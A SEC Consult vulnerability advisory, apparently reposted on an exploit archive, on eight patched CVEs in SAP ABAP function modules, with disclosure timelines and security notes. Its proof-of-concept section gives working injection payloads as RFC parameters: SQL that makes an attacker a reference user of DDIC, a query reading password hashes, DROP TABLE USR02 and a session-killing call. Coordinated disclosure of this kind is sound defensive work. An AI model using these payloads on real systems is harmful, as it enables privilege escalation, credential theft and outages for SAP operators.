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SAP Application Server ABAP / ABAP Platform Code Injection / SQL Injection / Missing Authorization

Authored by Fabian Hagg, Alexander Meier | Site sec-consult.com

Posted May 19, 2022

The SAP application server ABAP and ABAP Platform are susceptible to code injection, SQL injection, and missing authorization vulnerabilities. Multiple SAP products are affected.

tags | exploit, vulnerability, sql injection

advisories | CVE-2020-26808, CVE-2020-26832, CVE-2020-6318, CVE-2021-21465, CVE-2021-21466, CVE-2021-21468, CVE-2021-21473, CVE-2021-33678

SHA-256 | 431dc815f86760913b7ea6a072291378a6fef4f738687bbc91541e8aa7a5a417

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SEC Consult Vulnerability Lab Security Advisory < 20220518-0 >
=======================================================================
              title: Multiple Critical Vulnerabilities
            product: SAP® Application Server
                     ABAP and ABAP® Platform (Different Software Components)
  vulnerable version: see section "Vulnerable / tested versions"
       fixed version: see SAP security notes 2958563, 2973735,
                     2993132, 2986980, 2999854, 3002517, 3048657
          CVE number: CVE-2020-6318, CVE-2020-26808, CVE-2020-26832,
                     CVE-2021-21465, CVE-2021-21468, CVE-2021-21466,
                     CVE-2021-21473, CVE-2021-33678
             impact: critical
           homepage: https://www.sap.com
              found: 08/2020 - 02/2021
                 by: Fabian Hagg (Office Vienna)
                     Alexander Meier (Office Berlin)
                     SEC Consult Vulnerability Lab

                     An integrated part of SEC Consult, an Atos company
                     Europe | Asia | North America

                     https://www.sec-consult.com

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Vendor description:
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"SAP is a market share leader in enterprise resource planning (ERP),
analytics, supply chain management, human capital management, master
data management, data integration as well as in experience management"
[1]. Customers comprise 92% of the Forbes Global 2000 companies and
98% of the 100 most valued brands. 77% of the world's transaction revenue
touches an SAP system [1, 2].

"SAP NetWeaver Application Server for ABAP (AS ABAP) is a platform on
which important business processes run. It provides a complete development
and runtime environment for ABAP-based applications. The purpose of AS ABAP
is to provide programmers with an efficient means of expressing business
logic and relieve them from the necessity of platform-related and purely
technical coding. AS ABAP is therefore a basis for all ABAP systems" [3].

"The [successor] ABAP platform provides a reliable and scalable server
and programming environment for modern ABAP development [...]. The ABAP
platform offers support for SAP HANA and SAP Fiori and allows developers
to efficiently build enterprise software that meets the requirements of
their business scenarios - on-premise as well as in the cloud" [4].

[1] https://www.sap.com/about/company.html
[2] https://www.sap.com/documents/2017/04/4666ecdd-b67c-0010-82c7-eda71
    af511fa.html
[3] https://help.sap.com/viewer/ff18034f08af4d7bb33894c2047c3b71/7.52.5/
    en-US/797de8aa42e24916953c4bb3d983662d.html
[4] https://developers.sap.com/topics/abap-platform.html


Business recommendation:
------------------------
By exploiting the vulnerabilities documented in this advisory, privileged
attackers can take complete control of affected application servers. Thus,
successful exploitation can enable fraud, sabotage or data theft while
affecting confidentiality, integrity, and availability of business data.

SEC Consult recommends to implement security notes 2958563, 2973735,
2993132, 2986980, 2999854, 3002517, 3048657 where the documented issues
are fixed according to the vendor. We advise installing the corrections
as a matter of priority to keep business-critical data secured.


Vulnerability overview/description:
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Advanced Business Application Programming (ABAP)® is a proprietary
programming language by SAP SE. In common with every other programming
language, ABAP can be susceptible to software vulnerabilities ranging
from missing or improper authorization checks to inadequate input
validation and output sanitization. Of particular concern are injection
vulnerabilities, which can jeopardize the overall system security.

Remote Function Call (RFC) is a proprietary network protocol by SAP SE.
Comparable to application programming interfaces (APIs), SAP systems
come with thousands of built-in function modules implemented in ABAP. RFC
allows remote-enabled functions to be accessed via the network. This makes
it possible to decentralize business applications even across system
boundaries. External programs and external clients can make use of RFC
connections to interact with an SAP system via libraries (e.g. NW RFC SDK)
provisioned by SAP SE.

This advisory covers multiple critical vulnerabilities discovered in
the ABAP® coding of standard function modules. These are part of different
software components that build upon the bedrock products SAP® Application
Server ABAP and ABAP® Platform.

1) [CVE-2020-6318] Code Injection Vulnerability in SAP NetWeaver
   (ABAP Server) and ABAP Platform

   Function modules RSDU_LIST_DB_TABLE_SYB and RSDU_LIST_DB_TABLE_DB4
   of function groups RSDU_UTIL_SYB and RSDU_CORE_UTIL_DB4 are vulnerable
   to ABAP code injection bugs allowing to execute arbitrary ABAP
   code. Successful exploitation leads to full system compromise.

2) [CVE-2020-26808] Code Injection Vulnerability in SAP AS ABAP
   and S/4 HANA (DMIS)

   Function module CNV_MBT_SEL_STRING_RETURN of function group
   CNV_MBT_SEL is vulnerable to an ABAP code injection bug allowing to
   embed arbitrary code into the ABAP Repository. An attacker can abuse
   this bug by invoking the function remotely via the RFC protocol.
   Successful exploitation leads to full system compromise.

3) [CVE-2020-26832] Missing Authorization Check in SAP NetWeaver
   AS ABAP and SAP S4 HANA (SAP Landscape Transformation)

   Function module CNV_GET_USERS_FOR_APP_SERVER of function group
   CNV_00001_HELP does not perform any programmatically implemented
   authorization check. An attacker can abuse this bug by invoking
   the function remotely via the RFC protocol. Successful exploitation
   allows to retrieve internal information and to make a targeted SAP
   system completely unavailable to its intended users. The latter
   is to be considered as a Denial of Service (DoS) attack.
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4) [CVE-2021-21468] Missing Authorization Check in SAP Business
   Warehouse (Database Interface)

   Function module RSDL_DB_GET_DATA_BWS of function group RSDL does
   not perform any programmatically implemented authorization check.
   An attacker can abuse this bug by invoking the function remotely
   via the RFC protocol. Successful exploitation allows to read out
   the entire database including cross-client data access.

5) [CVE-2021-21465] Native SQL Injection Vulnerability in SAP
   Business Warehouse (Database Interface)

   Function module RSDL_DB_GET_DATA_BWS of function group RSDL is
   vulnerable to a native SQL injection (ADBC) bug allowing to execute
   arbitrary SQL commands at database level. An attacker can abuse
   this bug by invoking the function remotely via the RFC protocol.
   Successful exploitation leads to full system compromise.

6) [CVE-2021-21466] Code Injection Vulnerability in SAP Business
   Warehouse and SAP BW/4HANA

   Function module RSDRI_DF_TEXT_READ of function group RSDRI_DF_FACADE
   is vulnerable to an ABAP code injection bug allowing to embed
   arbitrary code into the ABAP Repository. An attacker can abuse this
   bug by invoking the function remotely via the RFC protocol. Successful
   exploitation leads to full system compromise.

7) [CVE-2021-21473] Missing Authorization Check in SAP NetWeaver AS ABAP
   and ABAP Platform

   Function module SRM_RFC_SUBMIT_REPORT of function group SRM_REP does not
   enforce proper authorization checks for critical use of a dynamic program
   call. An attacker can abuse this bug by invoking the function remotely
   via the RFC protocol. Successful exploitation allows an attacker to
   execute existing ABAP reports without holding sufficient authorizations.

8) [CVE-2021-33678] Code Injection vulnerability in SAP NetWeaver AS ABAP
   (Reconciliation Framework)

   Function module CONVERT_FROM_CHAR_SORT_RFW of function group FG_RFW contains
   a code injection vulnerability with a limited exploitation primitive. An
   attacker can abuse this bug to delete critical system tables (e.g. USR02),
   making the targeted SAP system completely unavailable to its intended users.

Proof of concept:
----

1) [CVE-2020-6318] Code Injection Vulnerability in SAP NetWeaver
   (ABAP Server) and ABAP Platform

   The vulnerable functions make use of the GENERATE SUBROUTINE POOL
   instruction by providing source code that is created dynamically
   using untrusted user input. As there is no input validation or
   output sanitization, an attacker can inject malicious ABAP code
   through specific import parameters. This code gets executed on the
   fly by the application server in the course of execution of the
   functions.

   The following payload exploits the bug to escalate privileges via
   reference user assignment:

   Import Parameter: I_TABLNM
   Value: USR02

   Import Table: I_T_SELECT_FIELDS

RSD_FIELDNM
BNAME

   Import Table: I_T_WHERE_COND

FIELDNM	OP	LOW
BNAME	EQ	S'ENDEXEC. EXEC SQL.UPDATE USREFUS SET REFUSER = 'DDIC' WHERE BNAME = 'ATTACKER

2) [CVE-2020-26808] Code Injection Vulnerability in SAP AS ABAP
   and S/4 HANA (DMIS)

   The vulnerable function makes use of the INSERT REPORT instruction
   by providing source code that is created dynamically using untrusted
   user input. As there is no input validation or output sanitization,
   an attacker can inject malicious ABAP code through specific import
   parameters. Inserted code may be executed by chaining this bug with
   CVE-2021-21473.

   The following payload exploits the bug to escalate privileges via
   reference user assignment:

   Import Parameter: TABNAME
   Value: USR02

   Import Table: IMT_SELSTRING

LINE
BNAME = 'TEST'. ENDSELECT.
UPDATE USREFUS SET REFUSER = 'DDIC' WHERE BNAME = 'ATTACKER'
SELECT * FROM USR02

3) [CVE-2020-26832] Missing Authorization Check in SAP NetWeaver
   AS ABAP and SAP S4 HANA (SAP Landscape Transformation)

   The vulnerable function does not perform any explicit authorization
   check. Depending on a specific import parameter, the function leaks
   active logon sessions (opcode 02) or terminates all active logon
   sessions (opcode 25) by kernel call 'ThUsrInfo'. Invoking the function
   periodically prevents users from logging into the application server.

   The following payload exploits the bug to trigger the information
   disclosure and enumerate active user sessions:

   Import Parameter: MODE
   Value: 1

   The following payload exploits the bug to terminate all active user
   sessions:

   Import Parameter: MODE
   Value: 2

4) [CVE-2021-21468] Missing Authorization Check in SAP Business
   Warehouse (Database Interface)

   The vulnerable function does not perform any explicit authorization
   check. It uses predefined classes and methods from the ABAP Database
   Connectivity (ADBC) framework to execute native SQL queries at database
   level. Depending on specific import parameters, this allows to read out
   arbitrary table data including user master records or secure storages
   (e.g. RSECTAB).

   The following payload exploits the bug to exfiltrate user password
   hashes:

   Import Table: I_S_TABSEL

NAME
USR02

   Import Table: I_S_DBCON

CON_NAME
<Database Connection String> (e.g. DEFAULT)

   Import Table: I_T_DBFIELDS

NAME	TYPE	LENGTH
BNAME	CHAR255	000255
PWDSALTEDHASH	CHAR255	000255

5) [CVE-2021-21465] Native SQL Injection Vulnerability in SAP
   Business Warehouse (Database Interface)

   The vulnerable function does not perform any input validation or
   output sanitization on import parameters that can be used to define
   conditional SQL statements. This allows to inject arbitrary SQL
   commands that get executed natively at database level in the course
   of execution of the function.

   The following payload exploits the bug to escalate privileges via
   reference user assignment:

   Import Table: I_S_TABSEL

NAME
USR02

   Import Table: I_S_DBCON

CON_NAME
<Database Connection String> (e.g. DEFAULT)

   Import Table: I_T_DBFIELDS

NAME	TYPE	LENGTH
BNAME	CHAR255	000255

   Import Table: I_T_SELECT

FIELDNM	OPTION	LOW
BNAME	EQ	'';UPDATE USREFUS SET REFUSER ='DDIC' WHERE '1
' = '1 AND' AND BNAME	EQ	'ATTACKER';

6) [CVE-2021-21466] Code Injection Vulnerability in SAP Business
   Warehouse and SAP BW/4HANA

   The vulnerable function makes use of the INSERT REPORT instruction
   by providing source code that is created dynamically using untrusted
   user input. As there is no input validation or output sanitization,
   an attacker can inject malicious ABAP code through specific import
   parameters. Inserted code may be executed by chaining this bug with
   CVE-2021-21473.

   The following payload exploits the bug to escalate privileges via
   reference user assignment:

   Import Parameter: I_TABLE_NAME
   Value: INJECTION

   Import Parameter: I_DEBUG_SUFFIX
   Value: SAP

   Import Table: I_T_RANGE_STRING

CHANM	LOW	HIGH
BNAME	'. UPDATE USREFUS SET REFUSER = 'DDIC' WHERE BNAME = 'ATTACKER	'. EXIT. "

7) [CVE-2021-21473] Missing Authorization Check in SAP NetWeaver AS ABAP
   and ABAP Platform

   The vulnerable function uses a dynamically generated program name (based
   on data from untrusted sources) in a SUBMIT call. No authorization checks
   are programmatically enforced. Thus, a remote, unauthorized attacker can
   leverage this function to start any existing ABAP report by providing the
   respective report name in the import parameter REPORTNAME.

8) [CVE-2021-33678] Code Injection vulnerability in SAP NetWeaver AS ABAP
   (Reconciliation Framework)

   The vulnerable function makes use of the GENERATE SUBROUTINE POOL instruction
   in form 'get_dynamic_fields' by providing source code that is created
   dynamically using untrusted user input. As there is no input validation or
   output sanitization, an attacker can inject malicious ABAP code through specific
   import parameters. These parameters are limited in size due to their variable
   type. This restricts an attacker in exploitation scenarios. However, it is still
   possible, for example, to delete critical system tables by exploiting this bug.

   The following payload exploits the bug to drop table USR02, leading to a complete
   loss of availability of the target system:

   Import Parameter: RTABNAME
   Value: X. EXEC SQL. DROP TABLE USR02-

   Import Parameter: RFIELDNAME
   Value: ENDEXEC

Vulnerable / tested versions:

All tests were conducted on SAP NetWeaver Application Server ABAP 752 SP04
and ABAP Platform 1909. No additional testing on other releases has been
carried out. According to the vendor the following releases and versions
are affected by the discovered vulnerabilities:

1) SAP NetWeaver (ABAP Server) and ABAP Platform, Versions
   - 700, 701, 702, 710, 711, 730, 731, 740, 750, 751, 752,
   753, 754, 755
   Components: SAP_BW, SAP_BW_VIRTUAL_COMP

2) SAP AS ABAP (DMIS), Versions - 2011_1_620, 2011_1_640,
   2011_1_700, 2011_1_710, 2011_1_730, 2011_1_731, 2011_1_752,
   2020; SAP S4 HANA(DMIS), Versions - 101, 102, 103, 104, 105
   Components: DMIS, S4CORE

3) SAP NetWeaver AS ABAP (SAP Landscape Transformation - DMIS),
   Versions - 2011_1_620, 2011_1_640, 2011_1_700, 2011_1_710,
   2011_1_730, 2011_1_731, 2011_1_752, 2020; SAP S4 HANA
   (SAP Landscape Transformation), Versions - 101, 102, 103,
   104, 105
   Components: DMIS, S4CORE

4) SAP Business Warehouse, Versions - 710, 711, 730, 731, 740,
   750, 751, 752, 753, 754, 755, 782
   Components: SAP_BW, SAP_BW_VIRTUAL_COMP

5) SAP Business Warehouse, Versions - 710, 711, 730, 731, 740,
   750, 751, 752, 753, 754, 755, 782
   Components: SAP_BW, SAP_BW_VIRTUAL_COMP

6) SAP Business Warehouse, Versions - 700, 701, 702, 711, 730,
   731, 740, 750, 782; SAP BW4HANA, Versions - 100, 200
   Components: SAP_BW, DW4CORE

7) SAP NetWeaver AS ABAP and ABAP Platform, Versions - 700,
   702, 710, 711, 730, 731, 740, 750, 751, 752, 753, 754, 755
   Components: SAP_BASIS

8) SAP NetWeaver AS ABAP (Reconciliation Framework) - 700, 701,
   702, 710, 711, 730, 731, 740, 750, 751, 752, 75A, 75B, 75B,
   75C, 75D, 75E, 75F
   Components: SAP_ABA

Vendor contact timeline:

The following timelines have been split for each CVE/vulnerability, as different
contacts were responsible. All identified vulnerabilities have been fixed by now
by SAP and SEC Consult releases this security advisory adhering to the
responsible disclosure policy.

CVE-2020-6318

2020-08-12 | Contacting vendor with detailed report through vulnerability
             submission web form.

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2020-08-13 | Vendor confirms receipt and assigns security incident number
           |    #2080354772.
2020-08-19 | Vendor confirms vulnerability.
2020-08-24 | Vendor informs about patch development strategy.
2020-09-07 | Vendor informs about release of the patch, registration of CVE
           |    number and corresponding security note.
2020-09-08 | Vendor releases patch with SAP Security Note 2958563.


CVE-2020-26808
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2020-09-24 | Contacting vendor with detailed report through vulnerability
           |    submission web form.
2020-09-25 | Vendor confirms receipt and assigns security incident number
           |    #2070354293.
2020-10-20 | Contacting vendor to request progress information.
2020-10-21 | Vendor confirms vulnerability and states that a fix is in
           |    development.
2020-11-09 | Vendor informs about release of the patch, registration of CVE
           |    number and corresponding security note.
2020-11-10 | Vendor releases patch with SAP Security Note 2973735.


CVE-2020-26832
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2020-10-23 | Contacting vendor with detailed report through vulnerability
           |    submission web form.
2020-10-26 | Vendor confirms receipt and assigns security incident number
           |    #2070432866.
2020-11-17 | Vendor confirms vulnerability and proposes CVSS score of 7.6.
2020-11-23 | Vendor asks for exploit script shown in the initial report.
2020-11-24 | Providing the requested script via encrypted PGP mail.
2020-12-07 | Vendor informs about release of the patch, registration of CVE
           |    number and corresponding security note.
2020-12-08 | Vendor releases patch with SAP Security Note 2993132.


CVE-2021-21465 / CVE-2021-21468
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2020-10-27 | Contacting vendor with detailed report through vulnerability
           |    submission web form.
2020-10-29 | Vendor confirms receipt and assigns separated security incident
           |    numbers #2070446047 and #2070446050.
2020-11-06 | Vendor confirms vulnerability and predicts patches to be released
           |    on December Patch Tuesday 2020.
2020-11-18 | Vendor confirms that they are still on track for December Patch
           |    Tuesday 2020.
2020-12-01 | Vendor informs that patch needs to be postponed to January Patch
           |    Tuesday 2021.
2021-01-08 | Vendor informs about release of patches and clarifies that a single
           |    security note will fix both issues. Additional information about
           |    CVSS scores is provided.
2021-01-11 | Vendor informs about release of the patches, registration of CVE
           |    numbers and corresponding security note.
2021-01-12 | Vendor releases patches with SAP Security Note 2986980.


CVE-2021-21466 / CVE-2021-21473
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2020-11-25 | Contacting vendor with detailed report through vulnerability
           |    submission web form.
2020-11-27 | Vendor confirms receipt and assigns security incident number
           |    #2080396648.
2021-01-04 | Vendor confirms vulnerability and states that they are working
           |    on a fix. Additional information is provided detailing on that
           |    they will split the reported finding into two separated security
           |    issues and security incident numbers #2080396648 and #2080412695.
2021-01-11 | Vendor informs about release of the first patch, registration of CVE
           |    number and corresponding security note.
2021-01-11 | Vendor informs about patch release for the first issue. Additional
           |    information is provided describing that a patch for the second issue
           |    is still in development.
2021-01-12 | Vendor releases first patch with SAP Security Note 2999854.
2021-05-07 | Asking vendor for update regarding the second issue.
2021-05-11 | Vendor informs that fix is in progress and note will be released soon.
2021-06-07 | Vendor informs about release of the second patch, registration of CVE
           |    number and corresponding security note.
2021-06-08 | Vendor releases second patch with SAP Security Note 3002517.


CVE-2021-33678
---------------------------------
2021-02-01 | Contacting vendor with detailed report through vulnerability
           |    submission web form.
2021-02-03 | Vendor confirms receipt and assigns security incident number
           |    #2180074995.
2021-05-07 | Asking vendor for update.
2021-05-11 | Vendor informs that fix is in progress.
2021-07-12 | Vendor informs about release of the patch, registration of CVE
           |    number and corresponding security note.
2021-07-13 | Vendor releases patch with SAP Security Note 3048657.


Solution:
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SAP SE reacted promptly to our findings. Product Security Incident Response
Team (PSRT) and engineers released patches in a timely manner for each of
the reported issues. These patches are available in form of SAP Security
Notes which can be accessed via the SAP Customer Launchpad [5]. More
information can also be found at the Official SAP Product Security Response
Space [6].

The following Security Notes need to be implemented:

2958563, 2973735, 2993132, 2986980, 2999854, 3002517, 3048657

[5] https://launchpad.support.sap.com/#/securitynotes
[6] https://wiki.scn.sap.com/wiki/display/PSR/SAP+Security+Patch+Day


Workaround:
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None


Advisory URL:
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https://sec-consult.com/vulnerability-lab/


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SEC Consult Vulnerability Lab

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SEC Consult Vulnerability Lab supports high-quality penetration testing and
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